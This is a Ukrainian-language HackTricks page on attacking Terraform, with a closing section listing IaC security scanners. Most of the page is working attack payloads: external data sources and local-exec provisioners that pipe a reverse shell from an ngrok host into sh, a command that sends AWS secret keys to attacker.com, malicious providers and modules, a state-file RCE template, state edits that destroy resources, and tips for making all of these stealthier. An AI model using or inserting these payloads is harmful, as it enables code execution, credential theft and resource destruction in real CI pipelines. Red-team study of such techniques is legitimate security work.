Terraform Security
Reading time: 13 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Основна інформація
HashiCorp Terraform — це інструмент інфраструктури як коду, який дозволяє визначати як хмарні, так і локальні ресурси у конфігураційних файлах, зрозумілих для людини, які можна версіювати, повторно використовувати та ділитися. Потім ви можете використовувати послідовний робочий процес для розгортання та управління всією вашою інфраструктурою протягом її життєвого циклу. Terraform може керувати низькорівневими компонентами, такими як обчислення, зберігання та мережеві ресурси, а також високорівневими компонентами, такими як DNS-записи та функції SaaS.
Як працює Terraform?
Terraform створює та управляє ресурсами на хмарних платформах та інших сервісах через їхні інтерфейси програмування додатків (API). Провайдери дозволяють Terraform працювати практично з будь-якою платформою або сервісом з доступним API.
HashiCorp та спільнота Terraform вже написали більше 1700 провайдерів для управління тисячами різних типів ресурсів та сервісів, і ця кількість продовжує зростати. Ви можете знайти всі публічно доступні провайдери на Terraform Registry, включаючи Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog та багато інших.
Основний робочий процес Terraform складається з трьох етапів:
- Написати: Ви визначаєте ресурси, які можуть бути на кількох хмарних провайдерах та сервісах. Наприклад, ви можете створити конфігурацію для розгортання програми на віртуальних машинах у мережі Virtual Private Cloud (VPC) з групами безпеки та балансувальником навантаження.
- План: Terraform створює план виконання, що описує інфраструктуру, яку він створить, оновить або знищить на основі існуючої інфраструктури та вашої конфігурації.
- Застосувати: Після затвердження Terraform виконує запропоновані операції в правильному порядку, враховуючи будь-які залежності ресурсів. Наприклад, якщо ви оновлюєте властивості VPC і змінюєте кількість віртуальних машин у цьому VPC, Terraform спочатку відтворить VPC, перш ніж масштабувати віртуальні машини.
Лабораторія Terraform
Просто встановіть terraform на свій комп'ютер.
Ось у вас є посібник, а ось у вас є найкращий спосіб завантажити terraform.
RCE в Terraform: отруєння конфігураційного файлу
Terraform не має платформи, що відкриває веб-сторінку або мережевий сервіс, який ми можемо перерахувати, тому єдиний спосіб скомпрометувати terraform — це мати можливість додавати/модифікувати конфігураційні файли terraform або мати можливість модифікувати файл стану terraform (див. розділ нижче).
Однак terraform є дуже чутливим компонентом для компрометації, оскільки він матиме привілейований доступ до різних місць, щоб працювати належним чином.
Основний спосіб для зловмисника скомпрометувати систему, на якій працює terraform, — це скомпрометувати репозиторій, що зберігає конфігурації terraform, оскільки в якийсь момент вони будуть інтерпретовані.
Насправді існують рішення, які автоматично виконують terraform plan/apply після створення PR, такі як Atlantis:
Якщо ви зможете скомпрометувати файл terraform, існують різні способи виконати RCE, коли хтось виконує terraform plan
або terraform apply
.
Terraform plan
Terraform plan — це найбільш використовувана команда в terraform, і розробники/рішення, що використовують terraform, викликають її постійно, тому найпростіший спосіб отримати RCE — це переконатися, що ви отруїли конфігураційний файл terraform, який виконає довільні команди в terraform plan
.
Використання зовнішнього провайдера
Terraform пропонує external
provider, який забезпечує спосіб взаємодії між Terraform та зовнішніми програмами. Ви можете використовувати джерело даних external
, щоб виконувати довільний код під час plan
.
Впровадження в конфігураційний файл terraform чогось на зразок наступного виконає rev shell під час виконання terraform plan
:
data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}
Використання користувацького провайдера
Атакуючий може надіслати custom provider до Terraform Registry і потім додати його до коду Terraform у функціональній гілці (приклад звідси):
terraform {
required_providers {
evil = {
source = "evil/evil"
version = "1.0"
}
}
}
provider "evil" {}
Провайдер завантажується в init
і виконає шкідливий код, коли буде виконано plan
Ви можете знайти приклад у https://github.com/rung/terraform-provider-cmdexec
Використання зовнішнього посилання
Обидва згадані варіанти корисні, але не дуже приховані (другий варіант більш прихований, але складніший за перший). Ви можете виконати цю атаку навіть більш приховано, дотримуючись цих рекомендацій:
- Замість того, щоб додавати rev shell безпосередньо в файл terraform, ви можете завантажити зовнішній ресурс, який містить rev shell:
module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}
Ви можете знайти код rev shell за адресою https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules
- У зовнішньому ресурсі використовуйте функцію ref, щоб приховати код terraform rev shell у гілці всередині репозиторію, щось на зразок:
git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b
Terraform Apply
Terraform apply буде виконано для застосування всіх змін, ви також можете зловживати цим, щоб отримати RCE, інжектуючи зловмисний Terraform файл з local-exec.
Вам просто потрібно переконатися, що деякий payload, наприклад, наступні, закінчується у файлі main.tf
:
// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}
// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}
Слідуйте рекомендаціям з попередньої техніки, щоб виконати цю атаку більш приховано, використовуючи зовнішні посилання.
Витоки секретів
Ви можете вивести секретні значення, які використовуються terraform, запустивши terraform apply
, додавши до файлу terraform щось на зразок:
output "dotoken" {
value = nonsensitive(var.do_token)
}
Зловживання файлами стану Terraform
У випадку, якщо у вас є доступ на запис до файлів стану terraform, але ви не можете змінити код terraform, це дослідження пропонує кілька цікавих варіантів використання файлу. Навіть якщо у вас є доступ на запис до конфігураційних файлів, використання вектора файлів стану часто є набагато підступнішим, оскільки ви не залишаєте слідів в історії git
.
RCE в Terraform: отруєння конфігураційного файлу
Можливо створити власного провайдера і просто замінити одного з провайдерів у файлі стану terraform на шкідливий або додати фальшивий ресурс, що посилається на шкідливий провайдер.
Провайдер statefile-rce базується на дослідженні та озброює цей принцип. Ви можете додати фальшивий ресурс і вказати довільну команду bash, яку ви хочете виконати, в атрибуті command
. Коли запускається terraform
, це буде прочитано та виконано на етапах terraform plan
і terraform apply
. У випадку етапу terraform apply
, terraform
видалить фальшивий ресурс з файлу стану після виконання вашої команди, прибираючи за собою. Більше інформації та повну демонстрацію можна знайти в репозиторії GitHub, що містить вихідний код для цього провайдера.
Щоб використовувати це безпосередньо, просто включіть наступне в будь-якому місці масиву resources
і налаштуйте атрибути name
та command
:
{
"mode": "managed",
"type": "rce",
"name": "<arbitrary_name>",
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
"instances": [
{
"schema_version": 0,
"attributes": {
"command": "<arbitrary_command>",
"id": "rce"
},
"sensitive_attributes": [],
"private": "bnVsbA=="
}
]
}
Тоді, як тільки terraform
буде виконано, ваш код запуститься.
Видалення ресурсів
Існує 2 способи знищити ресурси:
- Вставте ресурс з випадковою назвою у файл стану, що вказує на реальний ресурс для знищення
Оскільки terraform побачить, що ресурс не повинен існувати, він його знищить (слідуючи за реальним ідентифікатором ресурсу). Приклад з попередньої сторінки:
{
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
},
- Змініть ресурс так, щоб його не можна було оновити (щоб його видалили та відтворили)
Для EC2 інстансу зміна типу інстансу достатня для того, щоб terraform видалив і відтворив його.
Замініть заблокований провайдер
У разі, якщо ви зіткнетеся з ситуацією, коли hashicorp/external
був заблокований, ви можете повторно реалізувати провайдер external
, виконавши наступні дії. Примітка: Ми використовуємо форк провайдера external, опублікований за адресою https://registry.terraform.io/providers/nazarewk/external/latest. Ви також можете опублікувати свій власний форк або повторну реалізацію.
terraform {
required_providers {
external = {
source = "nazarewk/external"
version = "3.0.0"
}
}
}
Тоді ви можете використовувати external
як зазвичай.
data "external" "example" {
program = ["sh", "-c", "whoami"]
}
Автоматизовані інструменти аудиту
Snyk Infrastructure as Code (IaC)
Snyk пропонує комплексне рішення для сканування Infrastructure as Code (IaC), яке виявляє вразливості та неправильні налаштування в Terraform, CloudFormation, Kubernetes та інших форматах IaC.
- Особливості:
- Сканування в реальному часі для вразливостей безпеки та проблем з відповідністю.
- Інтеграція з системами контролю версій (GitHub, GitLab, Bitbucket).
- Автоматизовані запити на виправлення.
- Докладні рекомендації щодо усунення.
- Реєстрація: Створіть обліковий запис на Snyk.
brew tap snyk/tap
brew install snyk
snyk auth
snyk iac test /path/to/terraform/code
Checkov
Checkov — це інструмент статичного аналізу коду для інфраструктури як коду (IaC), а також інструмент аналізу складу програмного забезпечення (SCA) для зображень та відкритих пакетів.
Він сканує хмарну інфраструктуру, що надається за допомогою Terraform, Terraform plan, Cloudformation, AWS SAM, Kubernetes, Helm charts, Kustomize, Dockerfile, Serverless, Bicep, OpenAPI, ARM Templates або OpenTofu і виявляє проблеми з безпекою та відповідністю за допомогою сканування на основі графів.
Він виконує Software Composition Analysis (SCA) scanning, що є скануванням відкритих пакетів та зображень на наявність загальних вразливостей та експозицій (CVE).
pip install checkov
checkov -d /path/to/folder
terraform-compliance
З документації: terraform-compliance
- це легка, орієнтована на безпеку та відповідність тестова рамка для terraform, що дозволяє здійснювати негативне тестування вашої інфраструктури як коду.
- відповідність: Переконайтеся, що реалізований код відповідає стандартам безпеки, вашим власним стандартам
- розробка, орієнтована на поведінку: У нас є BDD практично для всього, чому б не для IaC?
- переносимість: просто встановіть його з
pip
або запустіть черезdocker
. Дивіться Встановлення - попереднє розгортання: він перевіряє ваш код перед його розгортанням
- легкість інтеграції: він може працювати у вашому конвеєрі (або в git hooks), щоб забезпечити перевірку всіх розгортань.
- сегрегація обов'язків: ви можете зберігати свої тести в іншому репозиторії, де за це відповідає окрема команда.
note
На жаль, якщо код використовує деякі провайдери, до яких у вас немає доступу, ви не зможете виконати terraform plan
і запустити цей інструмент.
pip install terraform-compliance
terraform plan -out=plan.out
terraform-compliance -f /path/to/folder
tfsec
З документації: tfsec використовує статичний аналіз вашого коду terraform для виявлення потенційних неправильних налаштувань.
- ☁️ Перевіряє на неправильні налаштування у всіх основних (і деяких незначних) хмарних провайдерів
- ⛔ Сотні вбудованих правил
- 🪆 Сканує модулі (локальні та віддалені)
- ➕ Оцінює HCL вирази, а також літеральні значення
- ↪️ Оцінює функції Terraform, наприклад,
concat()
- 🔗 Оцінює відносини між ресурсами Terraform
- 🧰 Сумісний з Terraform CDK
- 🙅 Застосовує (та прикрашає) визначені користувачем політики Rego
- 📃 Підтримує кілька форматів виводу: lovely (за замовчуванням), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
- 🛠️ Налаштовуваний (через CLI флаги та/або конфігураційний файл)
- ⚡ Дуже швидкий, здатний швидко сканувати величезні репозиторії
brew install tfsec
tfsec /path/to/folder
KICKS
Знайдіть вразливості безпеки, проблеми з відповідністю та неправильні налаштування інфраструктури на ранніх етапах циклу розробки вашої інфраструктури як коду за допомогою KICS від Checkmarx.
KICS означає Keeping Infrastructure as Code Secure, це програмне забезпечення з відкритим кодом і є обов'язковим для будь-якого проекту, що використовує хмарні технології.
docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
Terrascan
З документації: Terrascan - це статичний аналізатор коду для Інфраструктури як Коду. Terrascan дозволяє вам:
- Безперешкодно сканувати інфраструктуру як код на наявність неправильних налаштувань.
- Моніторити надану хмарну інфраструктуру на предмет змін конфігурації, які можуть призвести до зміщення позиції, і дозволяє повернутися до безпечної позиції.
- Виявляти вразливості безпеки та порушення відповідності.
- Зменшувати ризики перед наданням хмарної нативної інфраструктури.
- Пропонує гнучкість для локального запуску або інтеграції з вашим CI\CD.
brew install terrascan
Посилання
- Atlantis Security
- https://alex.kaskaso.li/post/terraform-plan-rce
- https://developer.hashicorp.com/terraform/intro
- https://blog.plerion.com/hacking-terraform-state-privilege-escalation/
- https://github.com/offensive-actions/terraform-provider-statefile-rce
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.